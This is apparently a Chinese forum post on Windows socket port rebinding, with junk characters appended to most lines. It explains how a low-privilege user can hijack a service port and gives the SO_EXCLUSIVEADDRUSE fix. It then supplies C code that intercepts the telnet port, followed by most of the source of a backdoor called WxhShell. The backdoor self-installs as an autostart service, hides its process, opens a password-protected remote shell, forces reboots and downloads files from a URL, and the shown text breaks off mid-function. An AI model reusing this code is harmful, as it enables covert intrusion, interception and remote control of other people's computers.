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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: aXYY:;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xCTML!H  
RqrdAkg  
  saddr.sin_family = AF_INET; P@B]  
reWot&;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^x,YW]AS}  
)akoa,#%6c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t:Q*gW Rh  
8<.Oq4ku  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Il 'fL'3  
t*u:hex  
  这意味着什么?意味着可以进行如下的攻击: +6\Zj)  
n\53wh@+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W!(zT6#  
Sm|6 %3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AkV#J, 3LC  
eMsd37J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Hn"RH1Zy  
9A=,E&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4HlQ&2O%#  
M2Qr(K|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >bW #Zs,6  
`^&OF u ee  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 abjQ)=u  
Q &JUt(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KRzAy)8  
Yq KCeg  
  #include %u'u kcL7  
  #include ~?BXti<!  
  #include ?tbrbkx  
  #include    wHy!CP%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fZF@k5*\  
  int main() HZge!Yp<  
  { .q>iXE_c  
  WORD wVersionRequested; C'x&Py/#  
  DWORD ret; bAMdI 5Zk?  
  WSADATA wsaData; +e``OeXog  
  BOOL val; L0o\J` :  
  SOCKADDR_IN saddr; GTd,n=  
  SOCKADDR_IN scaddr; .k !{*  
  int err; MTn{d  
  SOCKET s; (<9u-HF#  
  SOCKET sc; 8A# ;WG  
  int caddsize; 4hj|cCrO  
  HANDLE mt; mzgfFNm^G)  
  DWORD tid;   Zy/_ E@C}u  
  wVersionRequested = MAKEWORD( 2, 2 ); ;=z:F<Y  
  err = WSAStartup( wVersionRequested, &wsaData ); @ 6vIap|  
  if ( err != 0 ) { W<g1<z\f  
  printf("error!WSAStartup failed!\n"); fJg+Ryo  
  return -1; xJe%f\UDu  
  } n[rCQdM&U"  
  saddr.sin_family = AF_INET; $UwCMPs X  
   ]f_p 8?j"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bt?5*ETA  
mfr|:i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z{QqY.Gu{G  
  saddr.sin_port = htons(23); ~"!fP3"e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B@ EC5Ap*  
  { N!}f}oF  
  printf("error!socket failed!\n"); %N._w!N<5n  
  return -1; ]-# DB^EQ  
  } uY To 9A  
  val = TRUE; {JLtE{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K&-"d/QuLg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !N^@4*  
  { {.Jlbi9!  
  printf("error!setsockopt failed!\n"); gSj,E8-g  
  return -1; R;LP:,)  
  } +}AI@+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "AqB$^S9t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;^L(^Hx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -~w'Xo#  
$??I/6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R=?[Nz  
  { HzsdHH(J  
  ret=GetLastError(); .%-8 t{dt  
  printf("error!bind failed!\n"); c+ie8Q!  
  return -1; o8MZiU1Xf  
  } h";L  
  listen(s,2); 53 h0UL  
  while(1) ca9X19NG  
  { ckn(`I  
  caddsize = sizeof(scaddr); {!`6zBsP  
  //接受连接请求 #vlgwA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lOp`m8_=  
  if(sc!=INVALID_SOCKET) %C]>9."  
  { Fr-SvsNFB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dO\"?aiD  
  if(mt==NULL) p#tI;"\y  
  { ]4e;RV-B  
  printf("Thread Creat Failed!\n"); zt%Mx>V@  
  break; v$9y,^p@e  
  } pgo$ 61  
  } DmcZta8n]  
  CloseHandle(mt); 1Y,Z %d  
  } yhJ@(tu.Gd  
  closesocket(s); :4|4=mkr  
  WSACleanup(); !)$Zp\Sg  
  return 0; k5)om;.w  
  }   `]aeI'[}R  
  DWORD WINAPI ClientThread(LPVOID lpParam) rm_Nn8p,  
  { @4#vm@Yf_  
  SOCKET ss = (SOCKET)lpParam; wd6owr  
  SOCKET sc; &^nGtW%a 9  
  unsigned char buf[4096]; iy"*5<;*DD  
  SOCKADDR_IN saddr; nk:)j:fr  
  long num; hbn([+xY  
  DWORD val; \M-OC5fQv  
  DWORD ret; O/LXdz0B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `vV7c`K?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !r-F>!~  
  saddr.sin_family = AF_INET; Q2> gU#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7HWmCaa[  
  saddr.sin_port = htons(23); rN>R|].  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *zLMpL_  
  { AQ Ojit6p  
  printf("error!socket failed!\n"); qQa}wcU'9p  
  return -1; Ys7]B9/1O  
  } y{Q {'De  
  val = 100; ;{6~Bq9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X>^fEQq"  
  { "N#Y gSr  
  ret = GetLastError(); 8Fub<UhJ  
  return -1; Dv6}bx(  
  } 4M T 7`sr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wC*X4 '  
  { Gw` L"  
  ret = GetLastError(); VEH>]-0K  
  return -1; gG uO  
  } naNghGQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  !@sUj  
  { 2<6UwF  
  printf("error!socket connect failed!\n"); p7 ~!z.)o  
  closesocket(sc); +[ZY:ZQ  
  closesocket(ss); #9s,# }  
  return -1; (k P9hcV  
  } (m$Y<{)2  
  while(1) e+|sSpA  
  { p<%d2@lp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4ppz,L,4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \U0'P;em  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E{@[k%,_  
  num = recv(ss,buf,4096,0); "M0z(N kH  
  if(num>0) qgB_=Q#E  
  send(sc,buf,num,0); QV8g#&z  
  else if(num==0) -g<oS9   
  break; n+p }\msH  
  num = recv(sc,buf,4096,0); &&%H%9  
  if(num>0) A}^mdw9  
  send(ss,buf,num,0); {{1G`;|v 9  
  else if(num==0) =MWHJ'3-/  
  break; o;*Q}Gr<M  
  } .Y|!:t|  
  closesocket(ss); 7$#u  
  closesocket(sc); UZ";a453r  
  return 0 ; HKeK<V  
  } BLFdHB.$T  
=|9!vzG4  
3$/IC@+  
========================================================== d_ CT $  
MOC/KNb  
下边附上一个代码,,WXhSHELL YZ7.1`8  
A(XKyEx  
========================================================== j1Ezf=N6`  
4z)]@:`}z  
#include "stdafx.h" {[F A#  
)gi9f1n`  
#include <stdio.h> zeRyL3fnmb  
#include <string.h> m+9#5a-  
#include <windows.h> 0`H# '/  
#include <winsock2.h> |a@L}m  
#include <winsvc.h> hGrdtsH?  
#include <urlmon.h> Zd&S@Z  
('~LMu_  
#pragma comment (lib, "Ws2_32.lib") [Qr"cR^  
#pragma comment (lib, "urlmon.lib") !m$jk2<  
,,TnIouy  
#define MAX_USER   100 // 最大客户端连接数 qP;OaM CX  
#define BUF_SOCK   200 // sock buffer W3RT{\  
#define KEY_BUFF   255 // 输入 buffer *ui</+  
6B-16  
#define REBOOT     0   // 重启 t,' <gI  
#define SHUTDOWN   1   // 关机 =V5%+/r+f  
5-M-X#(  
#define DEF_PORT   5000 // 监听端口 AwN!;t_0+N  
!'Kj x  
#define REG_LEN     16   // 注册表键长度 `mqMLo *  
#define SVC_LEN     80   // NT服务名长度 \NC3'G:Ii  
Mihg:  
// 从dll定义API P;*(hY5&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,?3G;-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E"0>yl)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GthYzd:'hJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8>V5d Ebx'  
Ts9uL5i  
// wxhshell配置信息 I:.s_8mH}  
struct WSCFG { %znc##j)q  
  int ws_port;         // 监听端口 Dh*n!7lD`  
  char ws_passstr[REG_LEN]; // 口令 g&.=2uP  
  int ws_autoins;       // 安装标记, 1=yes 0=no I@3MO0V^  
  char ws_regname[REG_LEN]; // 注册表键名 &{i{XcqH'  
  char ws_svcname[REG_LEN]; // 服务名 n`KY9[0U=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @pxcpXCy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G&dKY h\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KSL`W2}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }\LQ3y"[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8ipez/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i9$ Av  
$8FUfJ1@  
}; snJ129}A  
7o4\oRGV  
// default Wxhshell configuration &wX]_:?  
struct WSCFG wscfg={DEF_PORT, cnLro  
    "xuhuanlingzhe",  3CJwj  
    1, KTv$  
    "Wxhshell", ;Xw~D_uv  
    "Wxhshell", d'2A,B~_*  
            "WxhShell Service", HTtnXBJ)*H  
    "Wrsky Windows CmdShell Service", w>YDNOk  
    "Please Input Your Password: ", <uJ@:oWG7  
  1, qWw=8Bq  
  "http://www.wrsky.com/wxhshell.exe", \DzGQ{`~m  
  "Wxhshell.exe" yHGADH0B  
    }; pXUSLs  
(#'>(t(4  
// 消息定义模块 @@%ataUSBT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q*KAk{kR(v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #1[u (<AS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =QsYXK7Mn4  
char *msg_ws_ext="\n\rExit."; o}!PQ#`M  
char *msg_ws_end="\n\rQuit."; a9G8q>h]O  
char *msg_ws_boot="\n\rReboot..."; 4m)n+ll  
char *msg_ws_poff="\n\rShutdown..."; [!z,lY>  
char *msg_ws_down="\n\rSave to "; If.r5z9  
Q20 %"&Xp]  
char *msg_ws_err="\n\rErr!"; he4(hX^  
char *msg_ws_ok="\n\rOK!"; f5r0\7y0  
@.C2LIb  
char ExeFile[MAX_PATH]; % `3jL7|  
int nUser = 0; .u:GjL'$  
HANDLE handles[MAX_USER]; a =QCp4^  
int OsIsNt; wj+*E6o-n  
Q;u pau  
SERVICE_STATUS       serviceStatus; MJvp6n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oQ#8nu{k  
m2o0y++TjW  
// 函数声明 ]tD]Wx%  
int Install(void); v1[29t<I!  
int Uninstall(void); =fbWz  
int DownloadFile(char *sURL, SOCKET wsh); OY d !v`<  
int Boot(int flag);  `]X>V,  
void HideProc(void); 1qch]1 ^G  
int GetOsVer(void); 0mnw{fE8_  
int Wxhshell(SOCKET wsl); ]! dTG  
void TalkWithClient(void *cs); / +\9S  
int CmdShell(SOCKET sock); w@b)g  
int StartFromService(void); (?c-iKGc  
int StartWxhshell(LPSTR lpCmdLine); pGZ8F  
G9lUxmS<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7"mc+QOp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yLGRi^d#  
q@&6#B  
// 数据结构和表定义 J1vR5wbu  
SERVICE_TABLE_ENTRY DispatchTable[] = 9F vFhY  
{ g*Phv|kI  
{wscfg.ws_svcname, NTServiceMain}, '7/)Ot(  
{NULL, NULL} B6"0OIDY"  
}; hc1N ~$3!G  
`gJ(0#ac  
// 自我安装 Gq6*SaTk  
int Install(void) ?`#Khff?  
{ y*? Jui Q  
  char svExeFile[MAX_PATH]; nEfK53i_  
  HKEY key; <[v[ci  
  strcpy(svExeFile,ExeFile); q<J~~'  
nu^436MSOa  
// 如果是win9x系统,修改注册表设为自启动 ]yu:i-SfP  
if(!OsIsNt) { G6/m#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >0gW4!7Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ebq4g387X  
  RegCloseKey(key); ;*N5Y}?j'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ),)lzN%!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >7FHo-H/T  
  RegCloseKey(key); N;d] 14|  
  return 0; u y+pP!<  
    } #ABCDi={zA  
  } TseGXYH  
} ~@!bsLSMU  
else { I|OoRq  
92c HwWZ!  
// 如果是NT以上系统,安装为系统服务 %C0Dw\A*:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B[}6-2<>?C  
if (schSCManager!=0) D@KlOU{<  
{ B1gR5p0  
  SC_HANDLE schService = CreateService =v\.h=~~  
  ( LscGTs,  
  schSCManager, *R"/|Ka  
  wscfg.ws_svcname, O< I-  
  wscfg.ws_svcdisp, lFk R=!?=  
  SERVICE_ALL_ACCESS, 7,MR*TO,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s*4dxnS_8  
  SERVICE_AUTO_START, \^LFkp  
  SERVICE_ERROR_NORMAL, <$YlH@;)`a  
  svExeFile, Lr+$_ t}r  
  NULL, u ?"Vm  
  NULL, #z(]xI)"  
  NULL, 6LZCgdS{  
  NULL, +mPx8P&%  
  NULL -/4P3SG/  
  ); Kq!3wb;  
  if (schService!=0) 0"R|..l/  
  { ~~.}ah/_d  
  CloseServiceHandle(schService); ta0|^KAA  
  CloseServiceHandle(schSCManager); xG 1n GO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YR70BOxK  
  strcat(svExeFile,wscfg.ws_svcname); fJ\[*5eiS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6b,V;#Anj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [;N'=]`  
  RegCloseKey(key); NlqImM=r,  
  return 0; V+\Wb[zDJ  
    } l}h!B_P'  
  } DDZ@$L!  
  CloseServiceHandle(schSCManager); 0]L"H<W  
} K:M8h{Ua  
} WxDh;*am:  
AX INThJ  
return 1; @iiT<  
} ^ 9sjj  
W)/#0*7  
// 自我卸载 5G#n"}T  
int Uninstall(void) ^q&x7Kv%  
{ K"6vXv4QO  
  HKEY key; iscz}E,Y  
`V1]k_h  
if(!OsIsNt) { sA~]$A;DM!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sdo-nt  
  RegDeleteValue(key,wscfg.ws_regname); Ef\ -VKh  
  RegCloseKey(key); mDWG7Asp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i%/+5gq  
  RegDeleteValue(key,wscfg.ws_regname); x;S @bY  
  RegCloseKey(key); S/ *E,))m  
  return 0; +q4O D$}  
  } [^)g%|W  
} OI*H,Z "  
}  G*m 0\  
else { dr(*T  
m 5.Zu.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "%_+-C<L4  
if (schSCManager!=0) ]'cs.  
{ Xvv6~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =l6mL+C  
  if (schService!=0) #E?4E1bnB  
  { f3;5Am  
  if(DeleteService(schService)!=0) { >?b!QU* a  
  CloseServiceHandle(schService); #WuBL_nZ~  
  CloseServiceHandle(schSCManager); u, ff>/1  
  return 0; 3]>|  i  
  } 0sqFF[i  
  CloseServiceHandle(schService); >z03{=sAN  
  } ]]mJ']l  
  CloseServiceHandle(schSCManager); qM`}{ /i  
} x:;kSh  
} Q8NX)R  
QZs!{sZ  
return 1; 0[`^\Mv4y  
} Y73C5.dNcE  
:h$$J lP  
// 从指定url下载文件 0f/<7R  
int DownloadFile(char *sURL, SOCKET wsh) s1rCpzK0  
{ pRqx`5 }  
  HRESULT hr; ixFi{_  
char seps[]= "/"; .8R@2c`}Cs  
char *token; m*pJBZxd  
char *file; w(/S?d  
char myURL[MAX_PATH]; AdEMa}u 6  
char myFILE[MAX_PATH]; M+>u/fldV  
3Ul*QN{6  
strcpy(myURL,sURL); S!UaH>Rh  
  token=strtok(myURL,seps); &&+H+{_Q  
  while(token!=NULL) ]'}L 1r  
  { )UR7i8]!0  
    file=token; QY/w  
  token=strtok(NULL,seps); E.TAbD&5(  
  } ,2q-D&)\Z  
 &HW9Jn  
GetCurrentDirectory(MAX_PATH,myFILE); O?2DQY?jT  
strcat(myFILE, "\\"); +nL[MSw  
strcat(myFILE, file); ![1rzQvGDb  
  send(wsh,myFILE,strlen(myFILE),0); -~1~I e2  
send(wsh,"...",3,0); Tx D#9]Q`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2 nCA<&  
  if(hr==S_OK) $]d^-{|  
return 0; rH-23S  
else NOva'qk  
return 1; %Zi} MPx  
$I=~S[p  
} WE?5ehEme  
]/Pn EU[  
// 系统电源模块 fex@,I&  
int Boot(int flag) 3n _htgcv  
{ Tbq;h ?D  
  HANDLE hToken; 3u=g6W2 F  
  TOKEN_PRIVILEGES tkp; WcAkCH!L  
*pq\MiD/  
  if(OsIsNt) { QV!up^Zso  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N)T}P\l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]esC[r]PJ  
    tkp.PrivilegeCount = 1; ^sw?gH*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ew N}l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aOp\91  
if(flag==REBOOT) { ~Y;*u]^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #mF"1QW  
  return 0; K-4PI+qQ\  
} _b 0& !l<  
else { 1#x0q:6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D~m*!w*  
  return 0; q m}@!z^  
} d0D] Q  
  } ^!d3=}:0  
  else { vN:Ng  
if(flag==REBOOT) { >6T8^Nt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )GpK@R]{  
  return 0; d=(mw_-?  
} LoV<:|GTI  
else { jp,4h4C^)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]Um/FAW  
  return 0; jd: 6:Fm  
}  R&&4y 7  
} A^g(k5M*  
Nb\4 /;#  
return 1; &~CI<\o P  
} V0@=^Bls  
LVGe]lD  
// win9x进程隐藏模块 Xvu(vA  
void HideProc(void) vP&(-a  
{ aN?zmkPpov  
/: "1Z]@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a(nlTMfu  
  if ( hKernel != NULL ) dd;~K&_Q/i  
  { 4Z*/WsCv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )7F/O3Tq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4RO}<$Nx}  
    FreeLibrary(hKernel); 4s- !7  
  } e ,(mR+a8  
vsPu*[%  
return; G{}VPcrbC  
} $4LzcwG  
{) XTk &"  
// 获取操作系统版本 N8jIMb'<  
int GetOsVer(void) <~)P7~$d?p  
{ k[xSbs'D  
  OSVERSIONINFO winfo; HPl<%%TI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pBHRa?Y5  
  GetVersionEx(&winfo); x5Bk/e'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SUiOJ[5,  
  return 1; >:-$+I  
  else (`^1Y3&2  
  return 0; 04ui`-c(  
} q9"96({\@  
H_a[)DT  
// 客户端句柄模块 zhQJy?>'m  
int Wxhshell(SOCKET wsl) 7!1S)dup  
{  B,@i  
  SOCKET wsh; (PL UFT  
  struct sockaddr_in client; m O_af  
  DWORD myID; 2/?|&[  
ch]IzdD  
  while(nUser<MAX_USER) #a#F,ZT  
{ KlEpzJ98  
  int nSize=sizeof(client); O- wzz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -7ep{p-  
  if(wsh==INVALID_SOCKET) return 1; sJZ iI}Xc  
G|Ti4_w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9up3[F$  
if(handles[nUser]==0) t@(HF-4~=  
  closesocket(wsh); Rcuz(yS8  
else 1 MFbQs^  
  nUser++; x}4q {P5$  
  } VY-EmbkG-t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6ujW Nf  
I9^x,F"E]  
  return 0; 10&8-p1/mc  
} [^iN}Lz  
2 ?C)&  
// 关闭 socket wYea\^co  
void CloseIt(SOCKET wsh) LVy yO3e  
{ :gv"M8AP  
closesocket(wsh); F59 TZI  
nUser--; $4\j]RE!  
ExitThread(0); *. t^MP  
} &]Tmxh(  
l1I#QB@5n  
// 客户端请求句柄 WJi]t93  
void TalkWithClient(void *cs) "+c-pO`Wg  
{ 4g/dP^  
[),ige  
  SOCKET wsh=(SOCKET)cs; C!gZN9-  
  char pwd[SVC_LEN]; Ry&6p>-  
  char cmd[KEY_BUFF]; tbr=aY$jY  
char chr[1]; gGYKEq{j(  
int i,j; +`4A$#$+y  
_c07}aQ ],  
  while (nUser < MAX_USER) { TeQV?ZQ#}  
xdPx{"C 3  
if(wscfg.ws_passstr) { DU^loB+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P?<y%c<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); , gHDx  
  //ZeroMemory(pwd,KEY_BUFF); _1^'(5f$  
      i=0; crCJrN=  
  while(i<SVC_LEN) { YSMAd-Ef-  
[[ZJ]^n,  
  // 设置超时 )7@0[>  
  fd_set FdRead; )oZ dj`  
  struct timeval TimeOut; "@kaHIf[  
  FD_ZERO(&FdRead); *pd@.|^)m  
  FD_SET(wsh,&FdRead); 3`HV(5U[  
  TimeOut.tv_sec=8; gw(z1L5 n  
  TimeOut.tv_usec=0; K3C<{#r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kfNWI#'9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f1? >h\F8  
WIOV2+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ICCc./l|  
  pwd=chr[0]; M5B# TAybC  
  if(chr[0]==0xd || chr[0]==0xa) { MD]>g>  
  pwd=0; [QTV9  
  break; CTK;dM'uQ  
  } *Ex|9FCt$  
  i++; 1YA% -~  
    } ;S{(]K7i  
Ac6=(B  
  // 如果是非法用户,关闭 socket %y@AA>x!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g0H[*"hj  
} 2 c}E(8e]  
Rcv9mj]l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <3iMRe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0(I j%Wi,  
$'TM0Yu,  
while(1) { 49P 4b<1  
c> af  
  ZeroMemory(cmd,KEY_BUFF); GILfbNcd  
}G=M2V<L  
      // 自动支持客户端 telnet标准   9L9sqZUB  
  j=0; TC. ,V_  
  while(j<KEY_BUFF) { (hsl~Jf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )"LJ hLg  
  cmd[j]=chr[0]; m|# y >4  
  if(chr[0]==0xa || chr[0]==0xd) { ivPg9J1S  
  cmd[j]=0; jpOp.  
  break; zi:BF60]=  
  } 0V]s:S  
  j++; l%ZhA=TKQ  
    } =sFTxd_"iQ  
mmsPLv6  
  // 下载文件 wBzC5T%,  
  if(strstr(cmd,"http://")) { ]9L oZ)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fVwU e _Y  
  if(DownloadFile(cmd,wsh)) f::Dx1VcX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'yth'[  
  else B *vM0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $(9U@N9E  
  } E4!Fupkpf  
  else { \ jA~9  
+"(jjxJm  
    switch(cmd[0]) { pp2~Meg  
  /(T?j!nPE  
  // 帮助 S'14hk<  
  case '?': { Qd6FH2Pl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WHI`/FM  
    break; =xrv~  
  } E9}C  #  
  // 安装 zQA`/&=Y  
  case 'i': { H"KCK6  
    if(Install()) OB7hlW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F?cK- .  
    else }Lv;!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2tLJU  Z1  
    break; F/Pep?'  
    } _U0f=m  
  // 卸载 1}37Q&2  
  case 'r': { >+waX "e  
    if(Uninstall()) cAy3^{3:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ie^l~ Gb  
    else f5k6`7Vj]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =EIkD9u  
    break; &{RDM~  
    } G j1_!.T  
  // 显示 wxhshell 所在路径 ca}2TT&t  
  case 'p': { -+5>|N#  
    char svExeFile[MAX_PATH]; {t!!Uz 7  
    strcpy(svExeFile,"\n\r"); Zov~B-Of:  
      strcat(svExeFile,ExeFile); m68*y;#  
        send(wsh,svExeFile,strlen(svExeFile),0); S$k&vc(0  
    break; +{>=^9%X  
    } $|@ r!/W  
  // 重启 PX99uWx5]  
  case 'b': { >MK98(F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {U1m.30n  
    if(Boot(REBOOT)) *J{+1Ev~$p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l]cFqL p  
    else { to\N i~a&  
    closesocket(wsh); TKjFp%  
    ExitThread(0);  9a kH  
    } |M_UQQAB|  
    break; 8D].MI^  
    } <1 pEwI~  
  // 关机 + )?J#g  
  case 'd': { fQ98(+6  
